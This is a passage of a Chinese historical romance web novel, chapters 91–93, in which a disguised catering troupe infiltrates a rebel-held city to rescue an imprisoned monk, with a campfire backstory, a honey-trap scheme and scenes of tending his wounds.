“他还骗我……还说他没私心……”她模模糊糊地开口，向匣儿里痴痴地瞧，眼泪一滴滴砸在零碎物件上头，打湿了秋夜里的烛光。 那里搁着一纸念珠的质票、一支烧焦残破的画轴、两半裂了勾青纱银翅的闹蛾小簪。 小乙望去一眼，一皱脸，“嗐，这都什么破烂物件儿！难为高僧藏着掖着不让瞧！” 应怜不答，却小心翼翼地揣了匣儿，“这东西，我拿走了。” 她揾了揾泪，起身便往外走，也不顾他真正留与的东西了。小乙在后头有些为难，“到底是人家的，娘子拿了，我怎好说？” “无妨，我自与他去说。”应怜伫立院儿里一晌，回头来望他，犹如月下佛陀塔畔待绽的一支夜昙，清丽芬芳，“若我也回不来，与他死在一处，也是个好结果。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 第91章天在高渺处，人在红尘里…… 九月十四，寒露降，雀化为蛤，晴空萧肃。 单铮点齐人马，共计三十有六，多是精明强干、身怀武艺之辈，做四司六局里百工装扮，有男有女；带着掩人耳目的笙箫、甑瓯、围屏、桌椅等，浩浩荡荡长蛇一脉，从江宁而发。 他自个儿头扎着褐绸的巾子，一领鸦青短袍，腰里系一绦轻细锦绳，长裤下并不裹行缠，放着两条裤脚，一般勾勒得身形俊阔，刀削斧斫也似。赵芳庭、李三郎等人在他身后团簇，个个短衣利索、迎着日光，望得见眼底志气。 这里头倒显得折柳与秾李两个好似两蔓嫩瓜，跑不远也跳不高，更别提抄一把朴刀，在这乱糟糟的世道里保全。只是非有二人不可，那三四十个，便伶俐如赵芳庭，也不晓得究竟怎样才算四司六局，全凭她二人作了主心骨。 折柳便带着秾李，另几个女娘，坐于队伍前列的马车里头，只在单铮身后，并不露面，偶尔掀一掀车帘，遥望前后几十口人。本道辎重冗冗，前行缓慢，却不想打马扬鞭，一日更行出百来里路程。 她二人在车里的滋味便不好受，一日夜下来，险些被颠散了架，更休提什么晓行夜宿。天不亮便出发，直待月上了梢头，实在不好向前了才围聚着停息，攒几簇篝火，草草歇就，全不住什么客店人家。 就这么过了两日，早先还在江水畔，这一会已过了淮水，照这急行军的脚程，过不了七八日，便能抵达沂州。 这夜照旧宿在林畔荒草地里，挨着一条小河不远，李三郎请折柳二人下车，赵芳庭早攒起了自己那一堆篝火。 单铮照例将马上精铁枪取下，靠在手边，腰间又别了一支短刀，呼哨众人警醒，分派了守夜的差事下去，围坐篝火一旁，便瞧见折柳摇摇颤颤而来，裙角榴红似蔓延山火，下缘洒金，点点耀人眼目。只是她虽风致无两，眉心却微微蹙着，仿佛受着什么不堪的苦事。 她来在篝火前，瞧单铮已烤起几张胡饼，也不说话，只是扶着腰，不远不近地坐了，与秾李两个嘀咕着体己话。 单铮双眸盯着胡饼翻动，耳力却好使，依稀听她们说什么“颠簸”、“反胃”之类，心中颇有些好笑，面上却不露，投望去一眼。 折柳却会错了意，道：“前两日讲了四司与排办局、果子局，今日讲讲香药局，可好？” “依你。”单铮收回目光。 大体每样皆已有了统领的人，各领了差事，面上瞧起来当真像那么回事。 赵芳庭便问：“香药局谁作供奉？” 众人面面相觑，末了从角落里站起个纤瘦的小子，一身杂衣襕衫，方巾下覆的发乌如叠云，应声极是婉脆，“是我。” 却是女子声音。赵芳庭一怔，细细观瞧，才见那是果真是个女娘，虽微垂着头，脸庞却好比羊脂凝露，一双烟云锁愁的黛眉，两只氤氲含情的墨眸，便不笑不语，静静地立着，便教人觉出绰约娉婷来。 “怎么是你！”赵芳庭大惊。 应怜倒很平静，火光中抬起脸来，向众人行礼，也不尴尬，“是我，我跟着来了。” “你该留在家中。”说话的是单铮，此时觉出一股子棘手，皱眉沉声道，“你一女娘，身既不能武，又难自保，若有闪失，宗契回来岂不懊悔？” “那也得他回得来再说。”应怜直言不讳，“多我一个不好么？我除了不会拳脚功夫，四司六局的排布安置，一应皆熟。再且说，如今要我回去也晚了，盗匪横行，若要我回，总得支个十几二十人护着我。” 那还去什么沂州，全回江宁得了。 那几人无法。秾李却偷着向她眨了眨眼。 “就让她跟着吧，我与秾李不也是弱女子，一样跟着来了么。”折柳发了话，“况柳娘子置办雅宴的本事，只在我之上，我正缺这样一个商量的人呢。” 单铮终于领教了她们这先斩后奏的本事，叹了声，摆摆手，叮嘱了几句保全自身的话，随她们去了。 应怜便坐于篝火前，与折柳两个一左一右，说起了香药局这一差使的提要，如今金秋时节，晴日时用什么香、若有雨时又用什么香；堂前庭院里用什么香、女眷后宅里用什么香；来客衣香散乱时佐什么香、何种香之间相消相克。凡此种种，听得人头晕脑胀。 单铮将饼烤了，分与几人，默默听着记着，又拿出水囊，正要喝时，却瞥见折柳捂着胸口，却是噎着了，“秾李，水、水……” 他便顺手拔了水囊塞子，递过去。 折柳被一口胡饼噎住，抄过水囊，也不管三七二十一，咕嘟咕嘟狠咽了几口，才顺过了气，盯着那烤得香脆的胡饼，眼儿发直。 “……慢些吃。”单铮只得提醒，接过她还回的水囊。 秾李这才从车里取出自家水囊，目光却在他二人身遭转了一圈，缓慢而隐晦，什么也没说，坐了回去。 应怜一无所知，说罢了，觉着尚无遗漏，便也歇了。 荒草连天，繁星夜月，篝火升了十来围，团簇一堆，成了地上的星火，倒映天帷。此夜中难得的忙里偷闲，使人依约有了一种错觉：他们这一行人，是田猎游乐到此，而不是即将往腥风血雨里走一遭。 折柳细细啃着胡饼，眼望应怜，叹道：“时日如梭，一转眼你竟这般大了，真想不到。” 应怜奇道：“你怎说这话？好像你从前见过我似的。” “可不是见过？”折柳笑道，“我曾说过，你父对我有恩，难道是假的不曾？” 她眼中有某种伤怀，映着点簇的火色，别有一种温柔。 单铮忽起了一丝难得的好奇，问：“你从前是什么人？” “秦楼楚馆的营生，你问他作甚？”折柳斜乜了他一眼，自然泻出几缕浮花浪蕊惯了的风情。 单铮咳了咳，俊朗的脸廓隐约浮现几分不自在，长腿微微向内收了收，“我是说再从前。” 他这么问，应怜也将探寻的目光递了过来，跟着问：“我爹……与你有什么旧瓜葛？” 篝火边几人不约而同将脖子伸长了些，虽面上看不出，眼里却都有兴味勃勃的神色。 “想听？”折柳便勾起了红红的唇。 几人皆点头，只除了单铮，身未动，却也将目光投了来。 趁着荒郊里夜宿无聊，她便将这事作一话本笑谈说与了他们听。 “不是什么勾人耳目的东西。我么只隐去乡邑名姓，你们听了也不许笑我。 “我如今虽是贱籍，出身却是清白人家，只是穷苦。弟兄姊妹七八个，家里再养不活了，便将我送了出去，做人家养媳，自小便在他家长成。那户人家也算是耕读家传，故教我识得些字、学了些琴棋女红。一般俱得过，只是我那夫婿不争气，是个走旱道的。” 应怜听到此处，顺口问：“走旱道？他是做车马行营生的？” 折柳才抿了口水，险些呛了嗓子。 赵芳庭嘿嘿地笑，小声与她道：“就是爱分桃断袖。” 应怜瞪圆两只眼，火光映得脸面上红红的，不敢轻易插话了。 折柳便接着道： “这天生五谷，养了百样人。你说我这般一个十里八乡数得着的美人，他怎么就不爱，却专盯着男人的下三路瞧。嗐，总之做他浑家，与守寡没甚差别。 “舅姑俱在的那几年，他有双亲压着，脾性也不敢露，我与他关起门来，做不了真夫妻，却也太平无事。我十七岁上时，舅姑都去了，他便逐渐狂狼起来。我那时哪经过事，受不了这辱，只觉脸面都要丢尽了。就……” 她一时又顿住，似乎要说又难为情说的样子。应怜想问又不敢问，怕再得个石破天惊的答语，臊得脸上挂不住。 折柳也有些脸红，想了想却到底觉着陈芝麻烂谷子的事儿，说来也不怕他们笑。 “……就养了汉子。”她道。 李三郎拍着腿哈哈大笑。折柳一眼瞪过去，“怎么，就许他不仁，不准我不义么？我也是爹生娘养，还不得有个知冷热的人儿？” “许，许！你说！”李三郎道。 折柳便陷入了某种深沉的感怀，仿佛回忆早已模糊的久远画面：“我那人儿，可说是一等一的好，模样俊俏不说，性情、志气更是拔群。他本是个赶考的举子，一来二去，便宿留了我家。本说定了待春闱后，回头再来，我便与那死鬼和离，与他远走。只是不凑巧，一次被那死鬼撞破私事。你们猜怎么？” “那必定闹出事来，捉去公堂？”李三郎道。 余下几人，要么不做声，要么挂着了然的神色，唯有单铮，眼中浮现了怜悯，似乎并不在意这话里沾染了暧昧的风月情事，而拨开迷障，清冷地瞧见了风月掩映之下，故旧时的那一慌乱无助的女子。 折柳道：“不，他没捉他去公堂。他甚至没声张，却又留他盘桓几日，请他吃酒，赠他绣衣玉佩；又有一日，他支我去镇上打酒。半日后我归家，却见了满床满地的血，夫君倒在床上，我那人握着刀，向我道：‘这卑鄙无耻之徒想要迫我就范，我杀了他，我带你走！’” 她说着说着，笑了起来，许是自己也觉着荒诞，一会儿却又笑不出声来，只得左右环顾，最后几分恼怒望向李三郎，“你不笑了？这不好笑么？” 李三郎干巴巴扯了扯嘴角，“呃，还、还好。” 折柳手里的胡饼已渐凉了，忽手里一空，却是单铮取走了饼，复又串在枝子上，慢慢地烤。 她的心仿佛也像这胡饼，被烤热了一些，回过神来，接着讲她的故事：“……总之就是被村人拿住了，他有功名，他们不敢如何，却拿我立规矩，要把我沉塘。万幸正教一过路赴任的官人瞧见，言此举不合国法，将我救下，与奸夫一同扭送官府。” 说到这儿，她有意望了望应怜。 应怜便顿开了心窍，颇有几分张口结舌，“那官人，难道是……” “不错，就是你父亲。”折柳点头。 应怜再说不出话来，却莫名往天去瞧，一眼之下，只见星河夜悬，点点琅玕，恰似珠玉垂帘，美不胜收。 “举头三尺有神明，是吧？”赵芳庭此时向她谑笑，三分不正经、三分别有深意。 她默然，咬了一口胡饼，细面咸盐，混成无数滋味，绽放在舌尖心上。 折柳瞧着她，“他因掺和了此案，便坐一席于公堂，旁听了一程。也即是那时，你因淘气，窜来公堂玩耍，我跪在堂下，偶见了你一面。那时你虽年幼，却已能见长成后的风姿。我那会儿就想，这小娃娃可真漂亮，若来日我能养下个女儿，想必也应这么好看。” 单铮不言不语听着，拔开水囊塞儿，喝了一口。 清水本无味，却蓦地唇上散开一缕茉莉清香。他愣了愣神，下意识瞧折柳一眼，只觉这隐约的香与她勾缠，不知何故。 半晌，他终回悟，一抹那囊嘴儿，指腹下却见了一缕红痕。是她唇上的口脂。 脑子蓦地一炸，神色身子却一动不动。半晌，单铮瞧着她说话，樱唇檀口一张一阖，自己唇上仿佛有什么也跟着发热麻痒起来，终没忍住，微微抿了抿唇。 赵芳庭将篝火旁众人不一的神色，皆看在眼里，却闷在心里，只拨动篝火，添了几根柴，笑道：“官人与你有活命之恩，你那样对他家女眷，算不算恩将仇报？” “我哪里恩将仇报了？末了将我那人按律斩了，我给充了籍，自此落入风尘，我也不知沉塘与沦为贱籍，哪个更不好受，也没偏怪他；还将她——”折柳却道，指着应怜，“给救了，不正是一报还一报？再且说，将她充籍的是官家，与我何干。” 这剪不断理还乱的官司，真好比一团乱麻，堵得应怜全不知该哭该笑。 也不知父亲天上若有灵，瞧见了因果，会作何想。 折柳说罢了，一晌再无话，只听着赵芳庭与李三郎两个说些无关痛痒的言语，自己倒豆子似的说了些往事，也不觉有什么伤心的，随手又摘下烤热了的胡饼，咬了一口，冲单铮笑了笑。 她这一笑，微微弯了弯眼眸，那一点湖水般的波光，便摇荡了出来。单铮见着，只觉篝火离得太近，脸面被烤得有些烫，愣神一刹，别过头去。 静夜寒蛩，言语渐歇。待月儿高升时，众人合衣或躺或卧，憩眠于篝火旁，一时间除了巡夜的脚步声，再无他响。 夜中事只合博人一笑，昼晴时，众人还得赶路。 往后一日，秾李再从马车中出来，却改换了形容，成了个粗低嗓门的少年人，连身形姿势也变得陌生，若不是应怜已熟悉她，恐怕再认不出。 她随男子骑马，泯然众人，谁也不会注意到这一副平庸的相貌。 折柳一如平常坐车而行，只是自那夜掏了家底，便没什么好遮掩，时常挑了车帘，正在单铮的高头大马边，托着腮、仰着脸与他说话，一时问他出身，一时又问他这身武艺。单铮也捡些平常话语与她作答，一时间比从前在府署里时，又熟稔了不少。 这么一路马不停蹄，约摸十日，终于到了沂州。 沂州府城不算太大，古城墙已斑驳苍苍，城外连郊蔓草，偶尔有地基痕迹，屋舍却早已不见；连带方圆十数里的良田，也早割了黍麦，任秸秆荒在田地里。一问，道旁行人皆摇头，叹道附近乡里的人要么被赶走，要么被迁入城，庄稼也尽被城里的天王收了，为的是长久占这府城，坚壁清野，也不怕官军远道来攻。 城门口果是一番严查。周旋自有赵芳庭，使足了银钱好处，与那凶神恶煞的守军，又教人来看那一 车车装载的家当，一毫儿无猜疑。 赵芳庭与守军赔笑，又探听详实，“咱们从南边来，做的是四司六局的行当，惯来为大户人家支应饮宴排场。只因强人占了江宁，左近一代皆不安生，有钱的富户跑个精光，我一行寻不到主家，又得知贵将军在城中，便来此碰碰运气。那里头总要吃喝宴饮，有了咱们，便全不愁失了面子！” 他见人说人话、见鬼说鬼话，也不知怎样一番拉扯，竟当真说得人心动，不止放入了城，更派了几个兵丁，教领入一客店，丢下话来：“你们在此待着，不许乱跑。天王府里头正缺你们这样行当的人，若果真办事精细，无些差池，你们便算接了富贵了！” 一行人在客店里等候了一日，这期间，赵芳庭早与那看守的兵丁混熟了，言笑间套出话来，关了门，悄与单铮等人道：“果真所料不差，应是朝廷派使节来说降彭春。咱们紧赶慢赶，所幸来得正是时候，使节还未离去。据我想，若他决意归降，又果真拿住了宗契，必要大张旗鼓，或是杀他表忠心，或是交予使节，解送洛京。如今既无动静，想来宗契定还活着，归降一事也还未最终落定。” 余人深以为是，私下里再对了一遍口风，相互无纰漏了，耐下性子，等着消息上门。 果不待翌日日落，已有人来客店传唤，教他们带着家伙什到天王府里去。 所谓天王府，不过是旧日沂州府署，彭春领起义的兵丁杀了州官，占了府署，挑了正门牌匾，从此自称天王，便有了这府邸。 应怜在马车内，一路行去，四顾道旁，见路缘残破，好些屋舍墙倒门拆，更有破衣啰嗦的乞丐，缩在角落，任人驱赶叫骂；街面上倒有不少游手好闲的汉子，也不知是兵是匪，大喇喇无顾忌地向她这一行人瞧，更有吹哨调笑的。她放下车帘，默然无语。身旁折柳问：“瞧见什么了？” “萧条冷落，也不知一向如此，还是那彭天王不顾百姓死活。”她道。 “是啊，”折柳叹一声，“官匪本一家，都顶头作威作福。这么一看，单将军已是难得的清正。” 话说着，便缓缓入了重兵把守的地界，过不至一刻，马车停在天王府后门口。 第92章 第92章争忍诉此情，只合博人笑…… 早有人候在此处，一见了，便领进来，先教了林林总总的规矩，再带去住处，言道天王府日日有宴，专司此项的人手极是不足，也失了很多规矩体面，便先拨了几场不大不小的饮宴与几人操办。 有折柳等人搭手，连着三日的宴席，顺顺当当做了下来，令上头一位姓许的掌事十分满意，放下话来：“再过一旬日，便是天宁节，恰逢贵人于此，更是要办一场风风光光的筵席，以表咱们的忠义。你等可速预备起来。” 这话却说得好笑。天宁节是那朝中皇帝的寿诞，谁都过得，唯沂州的叛军怎过得？又表什么忠义，若真忠义，怎么还敢杀官造反。 单铮化名作郑二，闻此时机恰好，便问：“向常只听有什么贵人，不知这贵人究竟是哪一位？也好教卑下晓得，该用何样礼数待之。” 许掌事觑左右无人注意，悄悄儿向他道：“你固不知，这是还未定准的事，你只心里记着就行，万不可向外声张。那贵人便是从洛京而来的天使，奉了官家圣谕，要行招安事！” 实则单铮心中早有数，不过有此一问罢了。 他“惊讶”过后，便依旧着手自个儿的事，沉稳寡言，又教那许掌事高看了一层。 应怜这头，终于等来了宗契的消息。 这一回是赵芳庭告知。他借着筹措人手的由头，来在一行女眷的院落，正逢着应怜与折柳同在屋中，盘算着天宁节宴的事宜。 “打听得宗契的消息了。”他进了屋，头先便道。 应怜蓦地站起，几乎片刻失态，忙问：“他在何处？如今怎样？” “暂无性命之忧。”赵芳庭道，“你莫急，听我慢慢说。他确是前些时日入城，只是甚不凑巧，与那彭春相见才没几日，天使便至。彭春心意不坚，既想受朝廷的加封，怕得罪天使，又急想立一桩功劳，便欲劝降宗契，几番无果，恼怒起来，索性押他在了牢狱。” 牢狱里什么滋味，应怜早先已尝过了，闻言便是一呆，浑身不自觉地发冷，心慌起来，“他受伤了？” 赵芳庭叹道，“吃苦头恐怕难免。究竟如何，我也并不清楚。只是我想，若能设法见他一面，不若就劝他假意归降，其后咱们行事也便利。这几日来，我观此处贼首，其中一个坐第二把交椅的，姓陶名慨，此人功夫了得，威望不在彭春之下，且言行间似有郁郁，仿佛并不愿受招安。咱们或可从此入手，使个离间计，赚他过来。” “你说得轻巧，究竟该怎样行事，你可有底气？”折柳慢腾腾道。 赵芳庭黠而冷的目光在她身上顿了一顿，彷如平常。 折柳却莫名觉着心里发紧，她像只被蛇盯上的青蛙，一瞬间有种想远远逃离的冲动，却生生忍了下来，扯出一抹笑，“你那样盯着我作甚？怪瘆得慌的。” “我能如何？”赵芳庭眼光一松，回之一笑，又如风。流浪荡那模样了，“不过有桩事，要请姐姐帮忙了。” 凡他开口恭维“姐姐”时，必没好事。折柳心里正忐忑，却听他支使应怜：“烦请柳娘子外头候一候，我有些话要与折柳娘子私下说。” 应怜不明所以，总也晓得是要紧事，便依言出了去，又为带上了屋门。 最后一眼里，是折柳冷淡而防备的神情，正向着赵芳庭，两人之间隐约涌动着什么微妙而紧张的暗潮。 他二人的关系有些微妙。应怜多少知晓一些，赵芳庭曾是青玉阁的常客，最是与折柳交好的；只是如今他却改了脾性，待她极是客气守礼，也不知腹里生的什么心思。 应怜守在廊外，有自己的心腹事要苦想。 方才赵芳庭说得清楚，得想方设法见宗契一面，和他通个气。再不济，她总想亲眼瞧一眼，他 究竟是安是危。 他们如今算是天王府里的人，套上这层皮，许多事都能便宜而行。牢狱平常守卫森严，不得入内，但……总有什么法子能见着。 正思忖着，忽听里头叫了一声，似是折柳压不住火的叫骂： “赵十八！你出什么缺损主意！可得遭天打雷劈！” 应怜一惊，怕两人在内闹出什么事来，想推门入内，临了却缩回了手，且不知他们论的是什么事，自己这样贸贸然闯进去，反生尴尬。 肚内抓心挠肝的，思来想去，她也顾不得卑不卑劣，索性将耳朵贴在门上，细细地听，备着万一里头打闹起来，自己再进去劝架。 内里细细地传来赵芳庭的声音，全然不急不慌，更有一种似笑非笑的从容，“好姐姐，你这么大气性作甚？你不愿意，难道是心里已有了什么人？” “放你的狗屁！我若不爱一个，便要去侍奉那腌臜的玩意儿？你自出的离间计，为何非要赖着我？” “他是洛京来的天使，什么样好的没见过？咱们这些人里也就你与秾李惯会奉承，你若不愿那便算了，我遣秾李去。” 争执戛然而止，仿佛该作答的折柳突然被卡住了脖子，一句再答不出。里头死一般的寂静。 应怜听得一头雾水，正未解其意，蓦地折柳开口，挫败的话音令她无由想起了寒秋里将死的草虫，艰涩僵枯，“你果真会拿人短处。赵芳庭，真有你的。我做便是了。” 又一阵无声。 而后是脚步声响，约摸人来开门，是赵芳庭。 折柳冷淡而毫无感情的声音于他身后响起：“赵芳庭，你这般缺德，往后定要不得好死的……” “承姐姐美言，我若死了，在天灵魄能护佑宁德军，死又何惜。”赵芳庭从善如流，谈论着生死前路，打开了门。 应怜局促立在廊下，目光越过他，望向里头的折柳。 折柳枯坐在屋内，一缕天光散淡，无力地笼在她身遭，她冶媚却无表情的面庞便一动不动在这一团黯淡的光雾之中。 赵芳庭临走时向应怜一笑，什么话也没说。 应怜入得屋，静得仿佛听得见轻软鞋底落地的声儿，一步又一步，将那团光雾掩住，在折柳身前，“你们……商议了什么？这般阵仗。” 折柳长吐了一口气出胸腔，慢慢活了回来，摇摇头，“无事……对了，天宁节的宴说到哪一节了？咱们继续。” 她仿佛抛下了先前的不悦，又与她核对起筵席的操办事宜来。应怜也不好再问，只得将疑惑压在肚内，随她去了。 天王府这样的地方，外头瞧着森严气象，实则当真混进去了再瞧，不过一张薄薄的纸皮，唬人尚可，内里筛子一般，全是疏漏。 凡人心有欲壑，便有可乘之机。 许掌事便是这样一条可以钻的空子。 此人算天王府一个末流的小头目，同一干掌事共同管着侍奉天王起居的职责，总想着能再进一步，出人头地，一时却不得其法。 赵芳庭便因此私下里找上门来，道：“我知掌事心事，特来为您出一计，好捧您在天王跟前出一出风头。届时您若高升，可别忘了我这小小的谋士。” “是何计策？”许掌事果然上钩。 赵芳庭便凑过一颗滑不溜手的脑袋，与他嘀嘀咕咕了半晌。 “您只消往天王跟前献策，言道可劝降那僧人，做成了这一件，可不是十分的功劳？天王必定大悦，倒时还怕没您的好处？这差事瞧着难，可您只管交给我……” 许掌事听罢了，半信半疑，“那僧人可是这般容易能降的？你若做不成，平白连累了我。” “如若不成，您只管要我的脑袋！”赵芳庭胸有成竹，“只是还得烦您将他从狱里弄出来，那么个污七八糟的地儿，我那女娘可施展不开。” 许掌事还是犹疑，“不可，他若跑了怎生是好？” 赵芳庭心底里翻了个白眼，面上愈发恭敬，“那简单，锁着他手脚不就成了？” 一番话果然说动他，有了立功高升的饵在前，此人便心甘情愿套上嚼子，驮着赵芳庭往前走了。 应怜自然领了这一件差事。 一切都在私底下、见不得光的地儿，有条不紊地进行。她所要做的并不多，不过在妆镜前，细细地墨扫了眉、胭脂染了颊，唇上一点绛色匀透；又换了锦罗绣襦，杏黄云烟的交领掩映下，微露妃红抹胸一痕，敞身窈窕的褙子下，轻红系带掐得一把柔软腰肢，蝶恋花郁金裙、珠玉凤头履，顾盼淑静、端庄无复。 折柳为她挽了髻，将珠翠帘梳饰在一顶莲花轻纱冠旁，已是十分惹人，却见应怜于发心里又簪了一支青翠的闹蛾，便笑问：“这是上元的样式，你戴它作甚？” “我就爱这一支。”应怜道。 折柳也随她，穿戴毕了，切切地叮嘱不可教人听漏了口风。此一回去，她是“美人计”的美人，可不是宗契识得的那个应怜。 “我都省得。”应怜答应。 折柳便又递来个食盒，里头盛着酒食，望望天色近午，便好好儿地送了出去，依赵芳庭的吩咐，到了一座僻静的院子。 这是许掌事特特吩咐的，好避人耳目，只将几个心腹安置在那处，看守着宗契。 应怜得了一块腰牌，见了看守人等，便摆出来，重重守卫放过，一层层愈发近了小院。 她心中砰砰狂跳起来。 喜悦、担心、忧虑，甚至惶恐，一遭遭从心底里游了个遍，最终停在了院里屋外。 那里头便待着他，她终于能再见着。 折柳早已等在庭院里，并不近前；应怜提着食盒，吱呀一声，轻轻推开了屋门。 第93章 第93章思卿逢卿意态狂 里头到底黯淡一些，秋燥在此间简致的陈设里十二分铺陈开，应怜甚至仿佛闻到了散漫、游荡的浮尘气息。 这屋子许久未有过人，也不知他住不住得惯。 她先关了门，将食盒摆在桌上，目光扫了一圈空空荡荡，又入内室，便瞧见了心心念念的那一人。 床帏幔帐掀开，洁净无尘。他盘腿坐于薄薄天光之中，身如山岳，岿然不动，如亘古纡坐的一尊雕像，手臂搭在膝上，阖着眸，便显出静而孤峭的气度。 食盒、脚步，皆有动静，他却未睁眼，仿佛一切与己无关，阖眸隔世，不见红尘。 这画面落在应怜眼中，如积沙入水，一点点沉下，蓄进心底。她一刹竟生出一种至为虚幻的、不真切的眩晕之感，仿佛这光景与无数次魂梦中重合，以至有几分恍惚，分不出这一刻是否也在幻梦中。 脚步违着她的心意，一步一步上前。待那眩晕感褪去，她再度落入真实，恍然察觉，她竟已在了宗契跟前，俯首瞧着床上盘坐的人。 离得近了，应怜才瞧清，原来他手足俱被粗大的链铁锁住，腕间点点渗出血迹，乃是旧痂磨破，又添新伤。寒秋天气，他却只穿了一件局促的灰布袍，既不丰厚，也不合身，似乎是匆匆为应付而囫囵套上的；衣领下显露的脖颈间，隐约透着斑斑缕缕的伤痕，交错杂乱。 只是外相再寒薄，却未损他守心牢坚的志气。 应怜垂眸见了他许久，也未见他有一丝动作，唯胸膛间规律的一起一伏，气息分毫不乱。 他待来人如无物，更别提为她睁开眼，瞧上一瞧。 应怜等了许久，未想他如此耐得下性子，反倒自己先沉不住气了，一时间心绪乱飞，欲问他寒渴伤痛，更不知该先提哪一句，怔了半晌，却呆呆开口： “你饿么？” 猛见他眉心一皱，如神佛破了本相，倏然睁开双眼，一霎时神色数变，震惊溢于言表。 应怜冷不防被吓了一跳，四目相对，瞧见他墨黑的眸中惊诧、震愕、欣喜、恐惧，生怕他下意识说出什么不该说的，教外头的守兵听着，情急之下，蓦地伸手捂住了他嘴。 再真实不过的触感，自掌心中划过，他口中温暖的气息传来，令她手一颤。 她冲他微不可察地摇头。宗契会意，眨了一下眼。 应怜松开手，掌心蜷在背后，轻蹭了蹭，总觉着那湿热蕴在手心，黏腻不去。 她稳稳心神，道出已预备好的说辞，“高僧不必吃惊，小女姓柳，您只唤我二娘便是。我是许掌事吩咐来侍奉您的。” 宗契有口难问，半晌低低应了声，目光随着她到了外间，隔着微微轻动的帘帷，望见她正动作的背影，绰约清雅。他紧紧地盯着，似乎想努力忆起，是否比从前又清瘦了些许。 “应……二娘。”窸窣叮啷轻微细响，他缚着锁链，下床而起，满肚子的疑问，只得捡一句无关轻重的出口，“你是哪里人？怎孤 身到此？” 应怜将饭菜酒食摆开，又来搀扶他用饭，移步如池莲风回，摇曳娉婷，一双手轻轻搭向他，只觉指尖触及，他衣下肩臂也一瞬绷紧了几分。 这是她素日不曾做过的亲昵举动，这会做来，却如家常，连眼色也没变化些毫。宗契察觉她挨得近近的，终于有些局促，却被她惑住了一般，一步步不由地便坐到了桌边。 “我一行三十七人原是做四司六局的行当，在江宁府待不住，听闻此间天王声威，便远来沂州，想讨一口饭吃。蒙天王厚恩，容留我等在府里听用。许掌事敬重您是个豪杰，命我好生侍奉，今后高僧投了天王明主，我们也跟着鸡犬升天。” 她一边答着，将酒菜为他布了，又亲夹了一筷子莲花鸭签，送在他唇边。 宗契不由自主便张了嘴，将这一块肉食吃下了，脸面发红，趁着她又夹菜亲喂，忙伸出来手，“我自己来。” 他锁链不便，这么一动，腕上皮肉又被磨得沁出洇洇的血丝。 应怜按下他手，温柔却带着不容分说的态度，“张嘴。” 他又吃到了一口热腾腾的米饭。 宗契晓得应怜是心疼他腕子上的伤，只是这样一口一口地教她为，也太难为情了一点。那入口的饭菜在他嘴里心不在焉地嚼着，一晌滋味妙不可言，一晌却又如同嚼蜡。 应怜见他如此不自在，觉着好笑，噗嗤一乐，过一阵笑意消了，却眼波闪了闪，低声道了句：“你受苦了。” 宗契没吭声，咽下口中饮食，仍有些臊，嘴角却止不住上扬了几分。 磨磨蹭蹭喂过了饭，应怜有一搭没一搭地绕着圈儿将情由说了，当中三句不离“归降”，宗契心明眼亮，立时便懂了。 “我若降他，岂不是对不住我自家的兄弟？”他道。 “俗言道，良禽择木而栖。彭天王如今虽名为义军，过不了一阵，却是要被招安为将军的。您如今投了他，便是弃暗投明。”应怜如此劝，“您怎会不知，官家已遣了天使至此，那招安是板上钉钉的事。况且，您归顺于他，有我侍奉在侧，日夜相对，不好么？” 那虽不是出自她本心，话却如拂过荷风清香，微散着便摇荡进宗契心里。他望着她玉颊染霞、微微垂首的模样，不由也分了一阵神，唯能入眼的是她玲珑粉嫩的耳垂上坠的那两支金荔枝，一晌轻颤，如玉人春心。 这话说来，在他二人之间，也太过暧昧狎昵。 宗契板正了脸，却怎么也再说不出斥责的场面话，只得道：“无需如此。” 应怜不说话，脸颊蔓延耳垂，仍是一片晕红。 她一向脸薄，他晓得。 宗契定定地看着她，正想着苍天垂赐，教自己终又见了她一面，却恰望见她白玉似的青纱冠内，乌云髻当中，正插着一支碧翠翠的纱翅闹蛾，银丝勾衬着，将两片裂开的翅翼缠在了一处。 哪消二度再想，一眼便认出那物件，正是上元节她曾戴过的短簪。 他恍了心神，张了张口，却全不知该说什么。 应怜见着了，微微一笑，眸中因温情而泛起几点粼粼的微光，扶着闹蛾，歪了歪脑袋，“好看么？” “好看。”他干巴巴答了一句，想瞧她，眼光又没处安放，憋得耳根子涨红。 宗契心中终于悟明了一念： 她作为柳二娘，来行劝降事，用的这美人计，当真是有些奏效的。 从此七八日内，她果真在这小院里，与宗契同吃同住，侍奉起居，安顿了下来。 虽有兵丁森森把守，在人眼皮子底下行事，但伴着宗契，日子总不难熬。 她要来了些柔软的布条，先为他将手腕脚踝缚的铁索缠了几圈，力求柔软了，不致他难受；又要了些伤药，为他每日一次地敷上。 起先宗契还不应，只道都是皮肉伤，并未损到内里，只在应怜沉下脸后，才老老实实褪了衣裳，这才暴露了满背交错的鞭痕，瞧着累累血迹。还没敷上药，先手忙脚乱地为她抹了一通泪。 “当真不要紧，不过是瞧着伤重……”他才想说，却碍着隔墙时时有人窥听，只得停住了口。 此时节，宗契趴在床上，应怜向外瞧了瞧，隐约见窗隙似有人影闪动，晓得是外头窥觑的兵丁，索性一把拉下金钩幔帐，自己也脱鞋入床帏，晃得那幔帐层叠，摇摇曳曳如波一晌。 宗契红了脸，才要起身，却被她又按下去，“这、不合规矩……” “什么规矩？”她膝行两步，跪坐在他身边，瞧他条缕交错的伤痕，才擦干了泪，眼眶又再度发热，恨恨道，“他们这样伤你，就合规矩了？” 宗契偏过头来，笑着安抚她，声儿压低，如沉雷闷响，“你不解内情。那贼首中有个姓陶名慨的，他甚愿与宁德军交好，曾私下关照过，这伤只许在皮肉，做做样子罢了，没许他们下死手。否则这百八十鞭下去，我哪还有命在。” “伤还能做样子？”应怜不懂，瞧着心疼，以指尖轻轻点了点，只觉他裸裎在外的背肌猛地紧了一瞬。 她先蘸清水将外缘擦拭净了，再一点点敷上药末，听宗契低沉的声音偶有停顿地从胸腔内传出： “伤有轻伤重伤、外伤内伤，自也有瞧着血肉模糊，实则……只是皮肉受苦，筋骨未损；也有那等皮肉半点没擦破，里头肺腑……皆已伤损，一泡淤血滞留不去，几日便死的……嘶！” 应怜心慌，手一缩，“弄疼你了？” 膝旁底下传来他闷闷的声音，似才及喘匀一口气，“没……你继续。” “那你放松。”她一毫儿不解，只觉手下块垒的背肌愈发紧绷，宽阔地拱起分明沟壑，怕他伤疤崩裂，便一下下轻轻地抚他肩头缘廓，示意安抚。 